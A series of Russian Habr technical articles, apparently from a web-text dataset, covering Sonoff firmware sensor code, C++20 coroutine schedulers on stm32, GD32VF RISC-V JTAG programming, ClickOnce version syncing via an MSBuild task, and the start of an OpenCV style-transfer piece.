break;
case 0x22:
type\_s = 0;
break;
default:
// Serial.println("Device is not a DS18x20 family device.");
return ERROR\_VALUE;
}
ds.reset();
ds.select(addr);
ds.write(0x44, 1); // start conversion, with parasite power on at the end
delay(1000); // maybe 750ms is enough, maybe not
// we might do a ds.depower() here, but the reset will take care of it.
present = ds.reset();
ds.select(addr);
ds.write(0xBE); // Read Scratchpad
for ( i = 0; i < 9; i++) { // we need 9 bytes
data[i] = ds.read();
}
// Convert the data to actual temperature
// because the result is a 16 bit signed integer, it should
// be stored to an "int16\_t" type, which is always 16 bits
// even when compiled on a 32 bit processor.
int16\_t raw = (data[1] << 8) | data[0];
if (type\_s) {
raw = raw << 3; // 9 bit resolution default
if (data[7] == 0x10) {
// "count remain" gives full 12 bit resolution
raw = (raw & 0xFFF0) + 12 - data[6];
}
} else {
byte cfg = (data[4] & 0x60);
// at lower res, the low bits are undefined, so let's zero them
if (cfg == 0x00) raw = raw & ~7; // 9 bit resolution, 93.75 ms
else if (cfg == 0x20) raw = raw & ~3; // 10 bit res, 187.5 ms
else if (cfg == 0x40) raw = raw & ~1; // 11 bit res, 375 ms
//// default is 12 bit resolution, 750 ms conversion time
}
celsius = (float)raw / 16.0;
return celsius;
}
```
Ну вот, периферия работает. Дальше я использую существующие свои наработки. [Полностью всю прошивку можно взять отсюда](https://github.com/samopal-pro/custom_th10)
**Особенности прошивки:**
* Автоматическое определение сенсоров AM2301 и DS18B20
* Длинное нажатие кнопки — вкл/откл режима точки доступа
* Короткое нажатие кнопки — вкл/откл реле
* Синий светодиод горит — соединение установлено, двойная вспышка — нет подключения, одинарное мигание — режим точки доступа
* Локальный WEB-сервер в режиме точки доступа 192.168.4.1
* при подключении к WiFi по тому IP адресу который настроен
* Авторизация доступа по паролю. По умолчанию admin/12345
* Сохранение параметров на сервер в интернете обычным HTTP запросом. Можно настроить любой сервер, например, народный мониторинг. А можно и локальный без всякого интернета.
* Сохранение настроек в EEPROM
* При подключении к интернету установка времени по NTP
Для любителей готовых сервисов. легко прикручивается готовая библиотека MQTT, BLYNK И пр. Но это уже за пределами данной статьи.
### Итог
SONOFF — это удобная платформа в первую очередь для тех, кто может самостоятельно разрабатывать и дорабатывать управляющие программы.
Тем кто знаком с ESP8266 — Sonoff это экономия на сборке, пайке и деталях, при условии, что вам нужна именно такая конфигурация устройства, как заложена в конкретном модуле Sonoff.
Самый большой недостаток данных модулей то, что часть GPIO не разведены на разъемы. Ну что стоит сделать компании ITEAD гребенку с 8 pin и завести туда все свободные GPIO от ESP. Я думаю, популярность бы таких модулей при существующей цене сильно бы выросла.
Что касается конкретных применений, [такой контроллер](https://geektimes.ru/post/270142/) вполне можно реализовать на модуле Sonoff TH10. | https://habr.com/ru/post/372773/ | null | ru | null |
# Корутины C++20 и многозадачность на примере контроллеров stm32
Никого не хотел обидеть КДПВ (в первую очередь @Saalur), действительно далеко не с первого раза становится понятно.
Введение
--------
Одним из наиболее ярких нововведений, которые получил язык в стандарте C++20, является поддержка сопрограмм (или корутин). Разработчики ПО для микроконтроллеров сразу могут заметить, что корутина похожа на задачу в операционной системе. На хабре уже присутствуют материалы, посвященные этой теме, например, "[Использование coroutines из С++20 в связке с NRF52832 и GTest](https://habr.com/ru/post/566070/)" от [@Firthermant](/users/firthermant) и "[CoroOS: концепт операционной системы для микроконтролеров на корутинах С++20](https://habr.com/ru/post/587000/)" от [@Saalur](/users/saalur) В то же время не могу не отметить, что сходу разобраться в представленных материалах и исходниках нелегко, особенно для тех программистов, которые пока еще не достаточно хорошо познакомились с сопрограммами в C++. В своём материале я постараюсь на более простом уровне разобрать вопросы применения нового стандарта языка при разработке планировщика заданий. В некотором смысле эту статью можно считать подготовительной перед прочтением указанных выше.
Итак, давайте разберем несколько несложных вариантов планирования задач от самого примитивного до чего-то отдалённо напоминающего операционную систему.
Простейшая кооперативная многозадачность
----------------------------------------
Кооперативная многозадачность подразумевает "добровольную" передачу управления от одной задачи другой. В терминах операционной системы, как правило, над всеми задачами расположена "суперзадача" – планировщик, принимающий управление от приостановленного кода и передающий очередной задаче. Пример функционирования наиболее простой системы из двух задач показан на рисунке 1 (зелёными стрелками выделен каждый второй круг цикла).
Предложенная система состоит из двух задач, первая из которых содержит три оператора и готова вернуть управление (перейти в состояние ожидания) после выполнения `оператора 2`, а вторая задача состоит из четырех операторов и также готова перейти в состояние ожидания после выполнения `оператора 2`*.*
Таким образом, многозадачность реализуется следующей последовательностью выполнения операторов:
Порядок выполнения операторов1. Задача 1. Оператор 1.
2. Задача 1. Оператор 2.
3. Задача 2. Оператор 1.
4. Задача 2. Оператор 2.
5. Задача 1. Оператор 3.
6. Задача 2. Оператор 3.
7. Задача 2. Оператор 4.
8. Перейти к пункту 1.
Рисунок 1. Вариант кооперации двух задач.Такой порядок выполнения легко переложить на механизм корутин:
1. Объектами корутин владеет планировщик, что позволяет ему в порядке очереди передавать управление задачам.
2. Продолжение выполнения задачи планировщиком – операция **resume** для очередной корутины-задачи.
3. Приостановка выполнения задачи и передача управления планировщику – операция **suspend** для текущей корутины.
Таким образом, код планировщика в подобной системе выглядит приблизительно следующим образом:
```
auto tasks = { Task1(), Task2() }; // Создание задач
for(;;)
{
// Последовательное продолжение выполнения задач
for (auto& t : tasks)
t.resume();
}
```
А сама задача так:
```
task TaskX()
{
// Начальная инициализация
for(;;)
{
// Операторы 1 .. N1
co_await std::suspend_always(); // приостановка выполнения
// Операторы N1+1 .. N2
co_await std::suspend_always(); // приостановка выполнения
}
}
```
В самом примитивном случае (а именно такой мы пока рассматриваем) объектом ожидания корутины (аргументом оператора `co_await`) является стандартный `std::suspend_always()`, подразумевающий просто передачу управления обратно вызывающей стороне – планировщику.
Тип `task` в этом случае также простейший, его исходный код приведен ниже. Стоит только отметить, что неизбежно придётся переопределить оператор `new`, однако от менеджера памяти требуется лишь однократного выделения области памяти в буфере, поскольку данная операция будет выполнена единожды для каждой задачи. Освобождение же памяти не подразумевается вовсе, поскольку классическая задача-корутина содержит бесконечный цикл. И вообще, отдельный менеджер памяти, в принципе, не нужен вовсе, можно объявить буфер в самом типе `task` или `task::promise_type`, однако такой подход чреват излишним расходованием памяти, так как для разных задач может потребоваться различный размер, в таком случае размер буфера придется определить как максимальный среди всех задач.
Из русскоязычных материалов по сопрограммам мне больше всего понравилась [лекция](https://youtu.be/R_gZQJC-uv0) Константина Владимирова, советую просмотреть обе части, так как весь дальнейший код старался делать максимально приближенным к тому, как материал излагал лектор.
Исходный код структуры task
```
struct task {
struct promise_type {
using coro_handle = std::coroutine_handle;
auto get\_return\_object() {
return coro\_handle::from\_promise(\*this);
}
auto initial\_suspend() {
// Изначально задача остановлена
// Хотя можно вернуть suspend\_never, чтобы дать возможность проинициализировать всё необходимое
return std::suspend\_always();
}
auto final\_suspend() noexcept {
// Задача будет содержать бесконечный цикл, поэтому в этот метод попадать не должны
return std::suspend\_never();
}
void unhandled\_exception() {
// В этот метод тоже
}
void\* operator new(std::size\_t size) {
return MemoryManager::Allocate(size);
}
void operator delete(void\* ptr) {
// По той же самой причине (бесконечное выполнение задач) в этот метод попасть не должны
MemoryManager::Deallocate(ptr);
}
};
using coro\_handle = promise\_type::coro\_handle;
task(coro\_handle handle) : \_handle(handle) {}
// Деструктор можно не определять, так как он ни разу не будет вызван
void resume() const {
\_handle.resume();
}
private:
coro\_handle \_handle;
};
```
Код всей программы целиком (для работы с периферией использовал свою библиотеку) представлен под катом. Для упрощения в задачах оставлен только один оператор `co_await`, а полезная нагрузка представляет собой ожидание байта от UART и запись ответа. Работоспособность проверена на контроллере stm32f103c8t6.
Полный код программы
```
#include
#include
#include
class MemoryManager {
static const uint32\_t Capacity = 512;
public:
static void\* Allocate(std::size\_t size) {
\_size += size;
return &\_data[\_size - size];
}
static void Deallocate(void\* ptr) {
// Задачи-корутины вечные, поэтому в этот метод попасть не должны
}
private:
static uint8\_t \_data[Capacity];
static uint16\_t \_size;
};
uint8\_t MemoryManager::\_data[MemoryManager::Capacity];
uint16\_t MemoryManager::\_size = 0;
struct task {
struct promise\_type {
using coro\_handle = std::coroutine\_handle;
auto get\_return\_object() {
return coro\_handle::from\_promise(\*this);
}
auto initial\_suspend() {
// Изначально задача остановлена
// Хотя можно вернуть suspend\_never, чтобы дать возможность проинициализировать всё необходимое
return std::suspend\_always();
}
auto final\_suspend() noexcept {
// Задача будет содержать бесконечный цикл, поэтому в этот метод попадать не должны
return std::suspend\_always();
}
void unhandled\_exception() {
// В этот метод тоже
}
void\* operator new(std::size\_t size) {
return MemoryManager::Allocate(size);
}
void operator delete(void\* ptr) {
// По той же самой причине (бесконечное выполнение задач) в этот метод попасть не должны
MemoryManager::Deallocate(ptr);
}
};
using coro\_handle = promise\_type::coro\_handle;
task(coro\_handle handle) : \_handle(handle) {}
// Деструктор можно не определять, так как он ни разу не будет вызван
void resume() const {
\_handle.resume();
}
private:
coro\_handle \_handle;
};
using usart1 = Zhele::Usart1;
using usart2 = Zhele::Usart2;
task Task1()
{
usart1::Init(9600);
usart1::SelectTxRxPins();
usart1::Write("Init task1\r\n", 12);
for(;;) {
if (usart1::ReadReady()) {
auto s = usart1::Read();
if (s == '1')
usart1::Write("Task1: you write '1'\r\n", 22);
if (s == '2')
usart1::Write("Task1: you write '2'\r\n", 22);
}
co\_await std::suspend\_always();
}
}
task Task2()
{
usart2::Init(9600);
usart2::SelectTxRxPins();
usart2::Write("Init task2\r\n", 12);
for (;;) {
if (usart2::ReadReady()) {
auto s = usart2::Read();
if(s == '1')
usart2::Write("Task2: you write '1'\r\n", 22);
if(s == '2')
usart2::Write("Task2: you write '2'\r\n", 22);
}
co\_await std::suspend\_always();
}
}
int main()
{
auto tasks = {Task1(), Task2()};
for(;;)
{
for (auto& t : tasks)
t.resume();
}
}
```
Вытесняющая многозадачность на событиях
---------------------------------------
Хотя безусловная приостановка задач не лишена смысла, чаще приостановка выполнения связана с ожиданием некоторого внешнего события, без которого дальнейшее выполнение задачи невозможно в принципе. В нашем примере этим событием является приём очередного байта по UART. В таком случае аргументом оператора `co_await` разумно сделать не стандартный `suspend_always`, а некий *awaitable*-объект, который мы сейчас и попробуем описать.
К объекту ожидания можно предъявить несколько требований:
1. Должен содержать *promise*, подходящий для оператора `co_await`.
2. Должен иметь флаг состояния (состоялось или нет ожидаемое событие, можно или нет продолжать выполнение корутины).
3. Должен иметь внутри себя список (в нашем случае ограничимся единственным экземпляром) потребителей, которые ожидают это самое событие.
Вообще говоря, третий пункт является спорным, потому что оповещение ожидающих задач можно сделать и иначе, например, сохранить их где-то отдельно.
В данном случае тип `task` можно упростить, удалив из его полей дескриптор `coro_handle` (так как в отличие от ранее предложенного варианта, конкретного владельца у корутины не будет. Владеть ею временно будет ожидаемое событие). При наступлении события активируется соответствующий потребитель. На текущем этапе эта процедура происходит прямо в обработчике прерывания, что делает систему вытесняющей.
Код упрощенного типа `task` (в лекции Владимирова это тип `resumable_no_own`):
Код структуры task
```
struct task {
struct promise_type {
using coro_handle = std::coroutine_handle;
auto get\_return\_object() {
return coro\_handle::from\_promise(\*this);
}
// В двух следующих двух методах возвращается suspend\_never
auto initial\_suspend() {
return std::suspend\_never();
}
auto final\_suspend() noexcept {
// Задача будет содержать бесконечный цикл, поэтому в этот метод попадать не должны
return std::suspend\_never();
}
void unhandled\_exception() {
// В этот метод тоже
}
void\* operator new(std::size\_t size) {
return MemoryManager::Allocate(size);
}
void operator delete(void\* ptr) {
// По той же самой причине (бесконечное выполнение задач) в этот метод попасть не должны
MemoryManager::Deallocate(ptr);
}
};
using coro\_handle = promise\_type::coro\_handle;
// В конструкторе ничего не происходит
task(coro\_handle handle) {}
};
```
Наиболее важным элементом является тип события, его код:
Код класса event
```
class event {
using coro_handle = std::coroutine_handle<>;
struct awaiter {
event& _event;
coro_handle _handle = nullptr;
awaiter(event& event) noexcept : _event(event) {}
bool await_ready() const noexcept { return _event.is_set(); }
void await_resume() noexcept { _event.reset(); }
// Регистрация потребителя события
void await_suspend(coro_handle handle) {
_handle = handle;
_event.set_awaiter(this);
}
};
public:
// Метод установки (активации) события
void set() {
_set = true;
// Возобновление соответствующей задачи
// По замечанию @mayorovp проверяем, есть ли вообще потребитель
if (_consumer)
_consumer->_handle.resume();
}
// Проверка состояния события
bool is_set() {
return _set;
}
// Сброс события
void reset() {
_set = false;
// По замечанию @mayorovp обнуляю потребителя
// По-хорошему операция должна быть атомарной, но
// пока не готов предложить качественный вариант
_consumer = nullptr;
}
// Метод регистрации потребителя
// Можно реализовать целый список потребителей
void set_awaiter(awaiter* consumer) {
_consumer = consumer;
// Пока исправлял код, подумал, а что если событие возникло раньше,
// чем на него в очередной раз подписались? В случае с принятым
// байтом, наверно, надо сразу пробуждать потребителя?
// Прошу совета в комментариях.
}
// Перегруженный оператор co_await, так как тип event не является awaitable
// Подробное разъяснение необходимости этой перегрузки можно найти в лекции Владимирова
awaiter operator co_await() noexcept {
return awaiter(*this);
}
private:
awaiter* _consumer = nullptr;
bool _set = false;
};
```
При вытесняющей активации корутины непосредственно из обработчика прерывания смысл отдельного планировщика теряется, поэтому главный цикл в функции `main` пустой.
Полный код программы
```
#include
#include
#include
class MemoryManager {
static const uint32\_t Capacity = 512;
public:
static void\* Allocate(std::size\_t size) {
\_size += size;
return &\_data[\_size - size];
}
static void Deallocate(void\* ptr) {
// Задачи-корутины вечные, поэтому в этот метод попасть не должны
}
private:
static uint8\_t \_data[Capacity];
static uint16\_t \_size;
};
uint8\_t MemoryManager::\_data[MemoryManager::Capacity];
uint16\_t MemoryManager::\_size;
struct task {
struct promise\_type {
using coro\_handle = std::coroutine\_handle;
auto get\_return\_object() {
return coro\_handle::from\_promise(\*this);
}
// Отличие от предыдущей реализации только в следующих двух методах
auto initial\_suspend() {
return std::suspend\_never();
}
auto final\_suspend() noexcept {
// Задача будет содержать бесконечный цикл, поэтому в этот метод попадать не должны
return std::suspend\_never();
}
void unhandled\_exception() {
// В этот метод тоже
}
void\* operator new(std::size\_t size) {
return MemoryManager::Allocate(size);
}
void operator delete(void\* ptr) {
// По той же самой причине (бесконечное выполнение задач) в этот метод попасть не должны
MemoryManager::Deallocate(ptr);
}
};
using coro\_handle = promise\_type::coro\_handle;
// В конструкторе ничего не происходит
task(coro\_handle handle) {}
};
class event {
using coro\_handle = std::coroutine\_handle<>;
struct awaiter {
event& \_event;
coro\_handle \_handle = nullptr;
awaiter(event& event) noexcept : \_event(event) {}
bool await\_ready() const noexcept { return \_event.is\_set(); }
void await\_resume() noexcept { \_event.reset(); }
// Регистрация потребителя события
void await\_suspend(coro\_handle handle) {
\_handle = handle;
\_event.set\_awaiter(this);
}
};
public:
// Метод установки (активации) события
void set() {
\_set = true;
// Возобновление соответствующей задачи
\_consumer->\_handle.resume();
}
// Проверка состояния события
bool is\_set() {
return \_set;
}
// Сброс события
void reset() {
\_set = false;
}
// Метод регистрации потребителя
// Можно реализовать целый список потребителей
void set\_awaiter(awaiter\* consumer) {
\_consumer = consumer;
}
// Перегруженный оператор co\_await, так как тип event не является awaitable
// Подробное разъяснение необходимости этой перегрузки можно найти в лекции Владимирова
awaiter operator co\_await() noexcept {
return awaiter(\*this);
}
private:
awaiter\* \_consumer = nullptr;
bool \_set = false;
};
using usart1 = Zhele::Usart1;
using usart2 = Zhele::Usart2;
event usart1Rx;
event usart2Rx;
char u1, u2;
task Task1()
{
usart1::Init(9600);
usart1::SelectTxRxPins();
usart1::Write("Init task1\r\n", 12);
usart1::EnableInterrupt(usart1::InterruptFlags::RxNotEmptyInt);
for(;;) {
co\_await usart1Rx;
if (u1 == '1')
usart1::Write("Task1: you write '1'\r\n", 22);
if (u1 == '2')
usart1::Write("Task1: you write '2'\r\n", 22);
}
}
task Task2()
{
usart2::Init(9600);
usart2::SelectTxRxPins();
usart2::Write("Init task2\r\n", 12);
usart2::EnableInterrupt(usart2::InterruptFlags::RxNotEmptyInt);
for (;;) {
co\_await usart2Rx;
if(u2 == '1')
usart2::Write("Task2: you write '1'\r\n", 22);
if(u2 == '2')
usart2::Write("Task2: you write '2'\r\n", 22);
}
}
int main()
{
Task1();
Task2();
for(;;) {}
}
extern "C" {
void USART1\_IRQHandler() {
u1 = usart1::Read();
usart1Rx.set();
usart1::ClearInterruptFlag(usart1::InterruptFlags::RxNotEmptyInt);
}
void USART2\_IRQHandler() {
u2 = usart2::Read();
usart2Rx.set();
usart2::ClearInterruptFlag(usart2::InterruptFlags::RxNotEmptyInt);
}
}
```
В коде выше предложено объективно некрасивое решение с глобальными переменными `u1, u2`*.* От них можно несложным образом избавиться, внеся результат в объект `event`*,* что позволит внутри корутины лаконично написать `char s = co_await usartNRx;`
Кооперативная многозадачность на событиях
-----------------------------------------
Предыдущий код можно модернизировать и получить кооперативную многозадачность, основанную на событиях. В обработчике прерываний мы откажемся от немедленной установки флага события, а вместо этого добавим объект события в очередь на оповещение его потребителя. Для этого потребуется совсем немного изменений.
В программу можно добавить глобальную очередь событий:
```
std::queue TasksQueue;
```
В главном цикле (планировщике) остается только активировать события в порядке очереди:
```
for(;;) {
if (!TasksQueue.empty()) {
TasksQueue.front()->set();
TasksQueue.pop();
}
}
```
В обработчике прерываний вместо немедленной активации события необходимо добавить событие в очередь:
```
void USART1_IRQHandler() {
u1 = usart1::Read();
TasksQueue.push(&usart1Rx);
usart1::ClearInterruptFlag(usart1::InterruptFlags::RxNotEmptyInt);
}
// Код обработчика UART2 аналогичный
```
В такой модификации при наступлении события текущей задаче даётся возможность дойти до первого по ходу выполнения оператора `co_await`, то есть вытеснения не происходит.
**Важно!** Данный код не заработал с опцией *-Os*, что я связываю с использованием `std::queue`*.* Без оптимизации (с опцией *-O0*) всё работает корректно.
Кооперативная многозадачность с приоритетами
--------------------------------------------
Очевидным развитием системы является приоритизация выполнения задач. Сделать это можно простым добавлением очереди (или нескольких очередей – для каждого уровня приоритета), причем почти «бесплатно» достается поддержка динамического приоритета задач, если приоритет имеет не сама задача, а ожидаемое ею событие (более подробно эту тему раскрыл [@Saalur](/users/saalur)), так что рассмотрим сразу этот пример.
Для поддержки приоритетов предыдущую реализацию достаточно дополнить не одной очередью, а несколькими (своя на каждый уровень приоритета), либо предусмотреть сортировку при вставке в очередь. Для демонстрации примем, что есть два уровня: высокий и низкий, и рассмотрим изменения в исходном коде.
В первую очередь тип `event` обзаведется приоритетом:
```
// Вложенное перечисление приоритетов
enum class Priority
{
Low,
High
};
// Появился конструктор с параметром
event(Priority priority) : _priority(priority) {}
// А также метод, возвращающий приоритет события
Priority priority() const {return _priority;}
```
Глобальные переменные событий должны быть созданы с нужными приоритетами:
```
event usart1Rx(event::Priority::High);
event usart2Rx(event::Priority::Low);
```
В главном цикле (планировщике) необходимо сначала обработать все задачи с высоким приоритетом, а уже после с низким:
```
for(;;) {
if (!HighPriorityTasksQueue.empty()){
HighPriorityTasksQueue.front()->set();
HighPriorityTasksQueue.pop();
continue;
}
if (!LowPriorityTasksQueue.empty()) {
LowPriorityTasksQueue.front()->set();
LowPriorityTasksQueue.pop();
}
}
```
А в обработчике прерываний вставка в очередь зависит от приоритета события. Текущая реализация не слишком красивая, однако код написан исключительно для демонстрации, поэтому считаю это позволительным.
```
void USART1_IRQHandler() {
u1 = usart1::Read();
(usart1Rx.priority() == event::Priority::High ? HighPriorityTasksQueue : LowPriorityTasksQueue).push(&usart1Rx);
usart1::ClearInterruptFlag(usart1::InterruptFlags::RxNotEmptyInt);
}
// Код обработчика UART2 аналогичный
```
Несложно заметить, что возможности расстановки приоритетов практически безграничны. Например, можно комбинировать приоритет самой корутины и объекта ожидания и выбирать из двух наибольший (или наименьший).
Заключение
----------
В данной статье я постарался рассмотреть вопрос применения корутин языка C++ для диспетчеризации задач, предложив наиболее примитивную систему и варианты ее последовательного развития. Дальнейшая модернизацию уже можно считать некоторой операционной системой, что замечательно раскрыл [@Saalur](/users/saalur). Также хотел бы поблагодарить уважаемого [@lamerok](/users/lamerok), который проконсультировал меня по вопросу переключения контекста (очень советую к прочтению его [статью](https://habr.com/ru/post/506414/)), хотя я и решил не включать этот вопрос, так как к корутинам он не относится.
Надеюсь, что мне удалось хотя бы в какой-то мере продемонстрировать на простых примерах, как можно применить последний стандарт C++ для диспетчеризации задач. | https://habr.com/ru/post/687266/ | null | ru | null |
# Еще немного RISC-V
Я занимаюсь программированием микроконтроллеров. И не только пишу для них программы, а по большей части программы для программаторов. И хотел поделиться небольшой радостью заработавшего мк. Вдруг кто-то сейчас мучается с gd32vfxx.
МК программирую самые разные. Это и всем известные stm, lattice, microchip, nuvoton, altera и т.д и экзотика типа azoteq, silicon works или freescale какого-нибудь 2003 года выпуска. Все они (ну, или почти все) разрабатывают свой собственный протокол, уникальный, которого нет больше ни у кого и он самый-самый лучший. Хотя и проходит под лозунгом универсального. И все это множество универсальных протоколов радует своим разнообразием. Если здесь и есть преувеличение, то совсем чуть.
Но сподвигла меня сюда написать [вот эта недавняя статья](https://habr.com/ru/post/516006). Ко мне как раз пришли образцы по разным семействам gd32 и, написав программы для программирования всех младших семейств, я пыхтел над семейством RISC-V. И увидел эту статью. Ну я и подумал, если кому-то интересен пересказ даташита, то может будет интересен и даташит по программированию программирования.
Младшие семейства программируются через JTAG и SWD ( за мелким исключением, где есть только SWD. gd32f130xx, например ). gd32vf, наоборот, имеет только JTAG. Но JTAG или SWD — это только инструмент. Вколачивание этими инструментами происходит совсем по-разному. Если про gd32f можно почитать ARM Debug Interface Architecture Specification и там все довольно ясно описано, то про gd32vf размазано в RISC-V External Debug Support и The RISC-V Instruction Set Manual. И эти два труда с полпинка не осилишь. У последнего еще есть подзаголовок Volume II. Это насторожило. Значит есть еще свинья с номером 1 и, возможно, с номерами 3 и 4.
Согласно RISC-V External Debug Support доступ к регистрам можно осуществить двумя способами:
1. Using Abstract Command
2. Using Program Buffer
К памяти тремя:
1. Using System Bus Access (у GD32VF отсутствует)
2. Using Program Buffer
3. Using Abstract Memory Access
Так как System Bus Access у GD32VF нет ( биты «system bus accesses are supported» в регистре sbcs ), а использовать программный буфер и писать туда assembler нет никакой радости, то очень удачно есть прекрасный способ обойтись командами. Сначала мне было совершенно непонятно, откуда эти чертовы умники берут номер регистра (Number of the register to access). В описании значения regno гордо значится: Number of the register to access, as described in Table 3.3.
Но где какой конкретно. Но потом я их обнаружил в соседнем даташите, упомянутом выше (The RISC-V Instruction Set Manual. Том 2) и солнце засияло.
Итак все заработало. Все действительно оказалось удобнее, чем у gd32f. С точки зрения залить в него код. Но это было только начало. Теперь мне нужно было написать для него монитор. Чтобы было еще быстрее, чем быстро. IAR не дал мне скачать с него свой WORKBENCH, хотя хвастался им вовсю. Я так и не нашел место, где нажать кнопку и скачать. Главный Китайский Менеджер, который присылал образцы, сказал, что они пользуют NucleiStudio и я скачал это и поставил. Мне казалось, что самая неудобная вещь, которой я пользовался — это коромысло. Я не понимаю, как бырышни прошлого носили в нем воду и ходили потом сухими. Я был мокрый по самую макушку. Но NucleiStudio перещеголяло коромысло. В общем, после долгих мучений я умудрился распихать данные и функцию в нужные места памяти. Я уверен, что можно сделать это более изящно, но меня уже не хватило.
Выглядит это так.
Нужно найти оригинальный скрипт (я его нашел где-то в недрах этого eсlipse'а, будь он неладен), который содержит кучу непонятных каракулей и добавить туда описание нужных адресов
```
. = 0x20000000;
.data_sect : { *(.data_sect) }
. = 0x20000400;
.a_sect : { *(.a_sect) }
. = 0x20000500;
.f_sect : { *(.f_sect) }
```
Все-таки насколько IAR'овский \*.icf файл выглядит куда понятнее и проще! Но это дело привычки, наверное. Когда я искал этот злосчастный файл, Гугл меня все время уверял, что нет ничего мощнее и крепче и круче и гибче, чем линк скрипт. Возможно, Но я намучился. Ну да ладно. Распихано.
Тепер мне нужно только переставить PC и все заработает со страшной скоростью. Но монитор все равно не работал. И теперь абзац, ради которого я все это затеял. Который поможет будущим исследователям RISC-V-чуда.
Вот он.
Чтобы переставить PC нужно просто написать его значение в регистр dpc и потом при старте hart'а значение скопируется в PC. До этого места программа уже написала и прочитала кучу других регистров. С большим успехом, надо признать. А монитор не работает. Как оказалось, чтобы написать в dpc нужно туда записать, а потом оттуда прочитать. Почему это так, я не знаю. Я прочел еще раз все документацию и «с волнением следил за судьбой героев». Но так и не нашел почему это так.
После этого все заработало. Единственное неудобство, чтобы прочитать что-то из памяти, нужно останавливать hart, а потом опять запускать. Это не очень удобно, но не страшно. Например, чтобы узнать, как там себя чувствует монитор и закончил ли он работу, нужно остановить hart, прочитать нужную память и, если нужно, запустить снова.
Надеюсь, что параграф про dpc сэкономит кому-нибудь пару часов времени и можно будет ничего не делать все это сэкономленное время. | https://habr.com/ru/post/517578/ | null | ru | null |
# Синхронизация AssemblyVersion и Publish Version в ClickOnce приложении
Добрый день.
Сделал приложение ClickOnce. Всё хорошо, но утомляет обновлять номер версии. Дело в том, что при выкладывании обновления нужно менять версию как в AssemblyInfo, так и в csproj. Вот так я сделал:
```
public static class VersionInfo {
public const string VersionString = "1.0.3";
}
```
А в AssemblyInfo на это свойство ссылаемся:
```
[assembly: AssemblyVersion(VersionInfo.VersionString)]
[assembly: AssemblyFileVersion(VersionInfo.VersionString)]
```
Затем нужно залезть в свойства проекта, выбрать вкладку Publish и поменять Publish Version.
Либо руками править файл проекта csproj:
```
1.0.3.%2a
```
Как я уже написал выше, это утомляет, особенно морально. Захотелось автоматизировать этот процесс, чтобы можно было поменять версию только в одном месте. После чего нажать в меню Build -> Publish, и версия в остальных местах сама обновится. Мне показалось удобным менять значение свойства VersionInfo.VersionString, после чего перед компиляцией свежее значение должно прокинуться в файл проекта. Наверняка можно и по другому, но думаю, варианты решения будут похожи на мой.
Итак, нужно перед компиляцией взять значение из класса VersionInfo и положить его в файл проекта. Подобные махинации вроде должен уметь делать fody, но я не нашёл примера, как он может работать с файлами проектов. Поэтому сделал через MSBuild Task. Задача таски проста — перед компиляцией найти файл с классом VersionInfo, затем вытащить оттуда версию, найти файл проекта, засунуть туда новую версию. По пути поймать ошибки и известить пользователя о них в build output. Вот такой код получился (референсил nuget пакет «Microsoft.Build.Tasks.Core»):
```
public class PublishVersionSyncTask : Task {
[Required]
public string ProjectFilePath {
get; set;
}
[Required]
public string VersionStringFilePath {
get; set;
}
[Output]
public string Error {
get { return this._error; }
set { this._error = value; }
}
string _error;
public override bool Execute() {
if(!File.Exists(ProjectFilePath)) {
Error = $"Project File \"{ProjectFilePath}\" does not exists";
return true;
}
if(!File.Exists(VersionStringFilePath)) {
Error = $"Version File \"{VersionStringFilePath}\" does not exists";
return true;
}
string versionString = null;
var allCodeLines = File.ReadAllLines(VersionStringFilePath);
foreach(var codeLine in allCodeLines) {
if(codeLine.Contains("VersionString")) {
versionString = codeLine.Split('"').Where(s => s.Contains('.')).FirstOrDefault();
break;
}
}
if(String.IsNullOrEmpty(versionString)) {
Error = "Can not find version string.";
return true;
}
if(versionString.Split('.').Length != 3) {
Error = $"Version string has wrong format: {versionString}. It must be x.y.z";
return true;
}
allCodeLines = File.ReadAllLines(ProjectFilePath);
List fixedCodeLines = new List();
foreach(var codeLine in allCodeLines) {
if(!codeLine.Contains("")) {
fixedCodeLines.Add(codeLine);
continue;
}
if(codeLine.Contains(versionString))
return true;
fixedCodeLines.Add($" {versionString}.%2a");
}
try {
if(File.Exists(ProjectFilePath + ".bak"))
File.Delete(ProjectFilePath + ".bak");
}
catch {
Error = $"Can not delete {ProjectFilePath}.bak";
return true;
}
File.Copy(ProjectFilePath, ProjectFilePath + ".bak");
try {
File.Delete(ProjectFilePath);
}
catch {
File.Delete(ProjectFilePath + ".bak");
Error = $"Can not delete {ProjectFilePath}";
return true;
}
File.WriteAllLines(ProjectFilePath, fixedCodeLines);
File.Delete(ProjectFilePath + ".bak");
return true;
}
}
```
Roslyn умеет работать с файлами проекта «по человечески», но это будет дольше работать. А выполняться будет перед каждой компиляцией (хотя можно сделать так, чтобы в Debug конфигурации этот код не гонялся, но мне это не нужно).
Компилируем, подкладываем библиотеки где-то рядом с папкой целевого проекта. В целевом проекте создаём файл PublishVersionSynchronizer.targets с таким контентом:
```
PublishVersionSync;
BeforeBuild;
CoreBuild;
AfterBuild
```
Делаем этому файлу BuildAction=«Content», открываем файл проекта, дописываем импорт этого файла:
```
```
И всё работает.
Если кому-то нужны исходники, они [на гитхабе](https://github.com/zed220/PublishVersionSynchronizer).
Спасибо. | https://habr.com/ru/post/345390/ | null | ru | null |
# opencv4arts: Нарисуй мой город, Винсент
OpenCV — библиотека с историей непрерывной разработки в 20 лет. Возраст, когда начинаешь копаться в себе, искать предназначение. Есть ли проекты на ее основе, которые сделали чью-то жизнь лучше, кого-то счастливее? А можешь ли ты сделать это сам? В поисках ответов и желании открыть для себя ранее неизвестные модули OpenCV, хочу собрать приложения, которые "делают красиво" — так, чтобы сначала было "вау" и только потом ты скажешь "о да, это компьютерное зрение".
Право первой статьи получил эксперимент с переносом стилей мировых художников на фотографии. Из статьи вы узнаете, что является сердцем процедуры и об относительно новом OpenCV.js — JavaScript версии библиотеки OpenCV.
Style transfer
--------------
Да простят меня противники машинного обучения, но главной компонентой в сегодняшней статье будет глубокая сверточная сеть. Потому что работает. В OpenCV нет возможности тренировать нейронные сети, но можно запускать уже существующие модели. Мы будем использовать предобученную сеть [CycleGAN](https://github.com/junyanz/CycleGAN). Авторы, за что им большая благодарность, предлагают совершенно свободно скачать сети, которые конвертируют изображения яблок в апельсины, лошадей в зебр, снимков со спутника в карты, фотографий зимы в фотографии лета и много чего ещё. Более того, процедура обучения сети позволяет иметь сразу две модели генератора, работающих в обе стороны. То есть, обучая преобразование зимы в лето вы получите и модель для рисования зимних пейзажей на летних фотографиях. Уникальное предложение, от которого невозможно отказаться.
